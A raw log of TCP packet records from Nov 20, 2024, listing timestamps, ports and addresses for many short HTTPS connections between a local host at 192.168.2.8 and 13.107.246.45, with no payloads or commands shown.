Nov 20, 2024 03:22:05.219270945 CET	443	50010	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:05.219332933 CET	50010	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:05.219448090 CET	50010	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:05.219448090 CET	50010	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:05.219460964 CET	443	50010	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:05.219469070 CET	443	50010	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:05.222400904 CET	50015	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:05.222460032 CET	443	50015	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:05.222553968 CET	50015	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:05.222662926 CET	50015	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:05.222682953 CET	443	50015	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:05.263618946 CET	443	50011	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:05.263839960 CET	443	50011	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:05.263932943 CET	50011	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:05.263976097 CET	50011	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:05.263986111 CET	443	50011	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:05.263997078 CET	50011	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:05.264002085 CET	443	50011	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:05.266625881 CET	50016	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:05.266748905 CET	443	50016	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:05.266846895 CET	50016	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:05.267014027 CET	50016	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:05.267050982 CET	443	50016	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:05.273399115 CET	443	50012	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:05.273829937 CET	443	50012	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:05.273880959 CET	443	50012	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:05.274015903 CET	50012	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:05.274017096 CET	50012	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:05.274120092 CET	50012	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:05.274120092 CET	50012	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:05.274168015 CET	443	50012	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:05.274182081 CET	443	50012	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:05.276669979 CET	50017	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:05.276715994 CET	443	50017	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:05.276787043 CET	50017	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:05.276956081 CET	50017	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:05.276971102 CET	443	50017	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:05.280004978 CET	443	50014	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:05.280369997 CET	50014	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:05.280416965 CET	443	50014	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:05.281328917 CET	50014	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:05.281342030 CET	443	50014	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:05.398453951 CET	443	50013	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:05.398655891 CET	443	50013	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:05.398832083 CET	50013	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:05.398833036 CET	50013	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:05.398924112 CET	50013	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:05.398952007 CET	443	50013	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:05.402178049 CET	50018	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:05.402283907 CET	443	50018	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:05.402398109 CET	50018	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:05.402523994 CET	50018	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:05.402564049 CET	443	50018	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:05.414694071 CET	443	50014	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:05.415191889 CET	443	50014	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:05.415244102 CET	443	50014	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:05.415268898 CET	50014	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:05.415354967 CET	50014	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:05.415354967 CET	50014	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:05.415354967 CET	50014	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:05.417747021 CET	50019	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:05.417773008 CET	443	50019	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:05.418226957 CET	50019	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:05.418400049 CET	50019	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:05.418411970 CET	443	50019	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:05.720325947 CET	50014	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:05.720370054 CET	443	50014	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:05.869046926 CET	443	50015	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:05.869663954 CET	50015	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:05.869724035 CET	443	50015	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:05.870131016 CET	50015	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:05.870146036 CET	443	50015	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:05.896702051 CET	443	50016	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:05.897241116 CET	50016	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:05.897289038 CET	443	50016	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:05.897476912 CET	50016	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:05.897485971 CET	443	50016	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:05.928971052 CET	443	50017	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:05.929528952 CET	50017	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:05.929565907 CET	443	50017	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:05.929826975 CET	50017	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:05.929833889 CET	443	50017	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:05.980066061 CET	443	50015	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:05.980231047 CET	443	50015	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:05.980390072 CET	50015	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:05.980551958 CET	50015	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:05.980551958 CET	50015	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:05.980596066 CET	443	50015	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:05.980623007 CET	443	50015	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:05.983334064 CET	50020	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:05.983378887 CET	443	50020	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:05.983491898 CET	50020	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:05.983691931 CET	50020	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:05.983706951 CET	443	50020	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:06.007108927 CET	443	50016	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:06.007138968 CET	443	50016	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:06.007180929 CET	443	50016	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:06.007348061 CET	50016	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:06.007348061 CET	50016	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:06.028780937 CET	443	50017	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:06.028990030 CET	443	50017	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:06.029076099 CET	50017	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:06.036281109 CET	50016	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:06.036325932 CET	443	50016	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:06.036345959 CET	50016	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:06.036355019 CET	443	50016	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:06.037753105 CET	50017	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:06.037770987 CET	443	50017	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:06.037816048 CET	50017	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:06.037822962 CET	443	50017	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:06.040785074 CET	50021	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:06.040858984 CET	443	50021	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:06.040935040 CET	50021	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:06.041791916 CET	50022	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:06.041822910 CET	443	50022	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:06.041894913 CET	50022	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:06.041929007 CET	50021	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:06.041959047 CET	443	50021	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:06.042201042 CET	50022	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:06.042215109 CET	443	50022	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:06.066773891 CET	443	50019	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:06.068634033 CET	50019	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:06.068650961 CET	443	50019	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:06.069237947 CET	50019	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:06.069242954 CET	443	50019	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:06.078511000 CET	443	50018	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:06.079338074 CET	50018	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:06.079382896 CET	443	50018	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:06.079819918 CET	50018	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:06.079832077 CET	443	50018	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:06.167819977 CET	443	50019	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:06.167846918 CET	443	50019	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:06.167912006 CET	50019	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:06.167927027 CET	443	50019	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:06.167957067 CET	443	50019	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:06.168006897 CET	50019	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:06.168205976 CET	50019	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:06.168216944 CET	443	50019	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:06.168229103 CET	50019	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:06.168235064 CET	443	50019	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:06.171755075 CET	50023	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:06.171787977 CET	443	50023	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:06.171951056 CET	50023	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:06.172154903 CET	50023	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:06.172168970 CET	443	50023	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:06.185818911 CET	443	50018	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:06.185838938 CET	443	50018	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:06.185902119 CET	50018	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:06.185942888 CET	443	50018	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:06.186086893 CET	50018	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:06.186108112 CET	443	50018	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:06.186119080 CET	50018	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:06.186219931 CET	443	50018	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:06.186245918 CET	443	50018	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:06.186290979 CET	50018	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:06.188839912 CET	50024	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:06.188875914 CET	443	50024	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:06.189868927 CET	50024	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:06.189959049 CET	50024	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:06.189975977 CET	443	50024	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:06.830184937 CET	443	50020	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:06.830194950 CET	443	50021	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:06.830758095 CET	50020	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:06.830771923 CET	443	50020	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:06.830821991 CET	50021	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:06.830848932 CET	443	50022	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:06.830884933 CET	443	50021	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:06.831332922 CET	50020	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:06.831338882 CET	443	50020	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:06.831463099 CET	50022	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:06.831470013 CET	443	50022	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:06.831470966 CET	50021	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:06.831490040 CET	443	50021	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:06.831975937 CET	50022	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:06.831980944 CET	443	50022	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:06.939471960 CET	443	50020	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:06.939505100 CET	443	50020	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:06.939549923 CET	443	50020	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:06.939583063 CET	443	50022	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:06.939610958 CET	443	50022	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:06.939651012 CET	50020	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:06.939666033 CET	443	50022	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:06.939702034 CET	50020	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:06.939737082 CET	50022	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:06.939737082 CET	50022	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:06.939949036 CET	50022	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:06.939949036 CET	50022	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:06.939974070 CET	443	50022	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:06.939985037 CET	443	50022	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:06.939996004 CET	50020	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:06.939996004 CET	50020	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:06.940001011 CET	443	50020	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:06.940016985 CET	443	50020	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:06.942775965 CET	50025	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:06.942810059 CET	50026	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:06.942819118 CET	443	50025	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:06.942832947 CET	443	50026	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:06.942919016 CET	50025	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:06.943027020 CET	50025	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:06.943037987 CET	443	50025	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:06.943042994 CET	50026	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:06.943201065 CET	50026	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:06.943211079 CET	443	50026	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:06.979263067 CET	443	50021	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:06.979484081 CET	443	50021	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:06.979608059 CET	50021	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:06.979679108 CET	50021	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:06.979717016 CET	443	50021	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:06.979747057 CET	50021	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:06.979760885 CET	443	50021	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:06.982738018 CET	50027	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:06.982774019 CET	443	50027	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:06.982870102 CET	50027	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:06.983026028 CET	50027	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:06.983040094 CET	443	50027	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:07.016902924 CET	443	50023	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:07.017492056 CET	50023	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:07.017535925 CET	443	50023	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:07.018104076 CET	50023	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:07.018115044 CET	443	50023	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:07.023241997 CET	443	50024	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:07.023701906 CET	50024	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:07.023721933 CET	443	50024	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:07.024267912 CET	50024	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:07.024274111 CET	443	50024	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:07.143987894 CET	443	50023	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:07.144123077 CET	443	50023	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:07.144220114 CET	50023	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:07.144426107 CET	50023	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:07.144469023 CET	443	50023	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:07.144496918 CET	50023	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:07.144510984 CET	443	50023	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:07.147775888 CET	50028	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:07.147878885 CET	443	50028	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:07.148014069 CET	50028	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:07.148235083 CET	50028	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:07.148277998 CET	443	50028	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:07.155479908 CET	443	50024	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:07.155510902 CET	443	50024	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:07.155551910 CET	443	50024	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:07.155602932 CET	50024	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:07.155637980 CET	50024	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:07.155844927 CET	50024	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:07.155858040 CET	443	50024	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:07.155867100 CET	50024	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:07.155870914 CET	443	50024	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:07.159109116 CET	50029	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:07.159192085 CET	443	50029	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:07.159301043 CET	50029	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:07.159410000 CET	50029	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:07.159444094 CET	443	50029	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:07.588195086 CET	443	50025	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:07.588763952 CET	50025	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:07.588779926 CET	443	50025	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:07.589164972 CET	50025	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:07.589169025 CET	443	50025	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:07.602082968 CET	443	50026	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:07.602411985 CET	50026	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:07.602426052 CET	443	50026	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:07.602772951 CET	50026	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:07.602777004 CET	443	50026	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:07.621279001 CET	443	50027	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:07.621650934 CET	50027	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:07.621664047 CET	443	50027	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:07.622011900 CET	50027	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:07.622015953 CET	443	50027	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:07.688005924 CET	443	50025	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:07.688481092 CET	443	50025	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:07.688522100 CET	443	50025	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:07.688555956 CET	50025	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:07.688628912 CET	50025	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:07.688646078 CET	50025	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:07.688663960 CET	443	50025	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:07.688673019 CET	50025	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:07.688678026 CET	443	50025	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:07.691051006 CET	50030	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:07.691116095 CET	443	50030	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:07.691188097 CET	50030	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:07.691333055 CET	50030	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:07.691353083 CET	443	50030	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:07.702964067 CET	443	50026	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:07.703222990 CET	443	50026	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:07.703286886 CET	50026	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:07.703339100 CET	50026	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:07.703339100 CET	50026	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:07.703350067 CET	443	50026	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:07.703357935 CET	443	50026	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:07.705661058 CET	50031	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:07.705754995 CET	443	50031	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:07.705849886 CET	50031	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:07.705965042 CET	50031	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:07.705996990 CET	443	50031	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:07.721777916 CET	443	50027	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:07.722007036 CET	443	50027	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:07.722233057 CET	50027	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:07.722269058 CET	50027	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:07.722269058 CET	50027	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:07.722292900 CET	443	50027	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:07.722300053 CET	443	50027	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:07.730192900 CET	50032	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:07.730232000 CET	443	50032	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:07.730294943 CET	50032	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:07.730444908 CET	50032	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:07.730457067 CET	443	50032	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:07.797847986 CET	443	50029	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:07.798527002 CET	50029	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:07.798576117 CET	443	50029	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:07.798922062 CET	50029	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:07.798933983 CET	443	50029	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:07.820751905 CET	443	50028	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:07.821263075 CET	50028	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:07.821356058 CET	443	50028	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:07.821495056 CET	50028	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:07.821511984 CET	443	50028	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:07.901086092 CET	443	50029	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:07.901462078 CET	443	50029	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:07.901527882 CET	50029	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:07.901598930 CET	50029	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:07.901598930 CET	50029	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:07.901635885 CET	443	50029	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:07.901659012 CET	443	50029	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:07.910510063 CET	50033	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:07.910557985 CET	443	50033	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:07.910650969 CET	50033	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:07.910953999 CET	50033	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:07.910968065 CET	443	50033	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:07.930309057 CET	443	50028	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:07.930489063 CET	443	50028	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:07.930536032 CET	443	50028	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:07.930568933 CET	50028	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:07.930643082 CET	50028	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:07.932097912 CET	50028	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:07.932097912 CET	50028	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:07.932145119 CET	443	50028	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:07.932173014 CET	443	50028	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:07.935184002 CET	50034	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:07.935214043 CET	443	50034	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:07.935260057 CET	50034	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:07.935539007 CET	50034	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:07.935549021 CET	443	50034	13.107.246.45	192.168.2.8
